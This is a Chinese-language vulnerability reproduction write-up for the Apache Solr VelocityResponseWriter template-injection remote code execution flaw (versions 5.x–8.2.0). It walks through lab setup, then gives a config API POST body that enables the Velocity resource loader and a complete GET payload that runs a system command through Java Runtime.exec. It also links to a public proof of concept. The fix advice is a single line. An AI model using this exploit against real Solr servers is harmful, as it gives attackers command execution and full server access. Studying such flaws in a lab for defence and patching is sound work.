0x01簡介
Solr是一款企業級的獨立搜索應用服務器,可以通過Web服務API接口向外提供服務。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,并得到XML格式的返回結果。
0x02漏洞介紹
Solr中存在VelocityResponseWriter組件,攻擊者可以構造特定請求修改相關配置,使VelocityResponseWriter組件允許加載指定模板,進而導致Velocity模版注入遠程命令執行漏洞,攻擊者利用該漏洞可以直接獲取到服務器權限。
0x03影響范圍
Apache Solr 5.x – 8.2.0,存在config API版本
0x04環境搭建
安裝java8環境,然后下載Solr,下載地址:
https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
下載完成后解壓然后進入bin目錄執行./solr start
unzip solr-8.2.0.zip
?
啟動會出現一些警告信息,我們可以通過修改bin下的solr.in.sh文件來進行消除,將SOLR_ULIMIT_CHECKS設置為false
vim solr.in.sh
?
然后再次進行啟動 ./solr start??root啟動失敗的話在后面加上加上-force即可
在瀏覽器訪問http://ip:8983,出現以下界面表示安裝成功
但是發現不能創建core
我們先手動在/server/solr/目錄下創建一個new_core的文件夾,然后將/server/solr/configsets/_default/下的conf目錄拷貝到new_core目錄下,之后再點創建
0x05漏洞復現
創建好Core后訪問查看該應用config文件是否可以訪問
http://ip:8983/solr/new_core/config
Apache Solr默認集成VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled默認值設置為false,但是可以通過POST請求直接修改整合設置,將其設置為true,然后就可以構造特殊的GET請求來實現遠程代碼執行。
使用Burp抓取本頁面的包,直接構造POST請求,加入以下數據
{
??“update-queryresponsewriter”: {
????“startup”: “lazy”,
????“name”: “velocity”,
????“class”: “solr.VelocityResponseWriter”,
????“template.base.dir”: “”,
????“solr.resource.loader.enabled”: “true”,
????“params.resource.loader.enabled”: “true”
??}
}
?
接下來我們就可以構造payload來實現RCE
payload:
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
?
?POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
0x06修復方式
更新到最新版本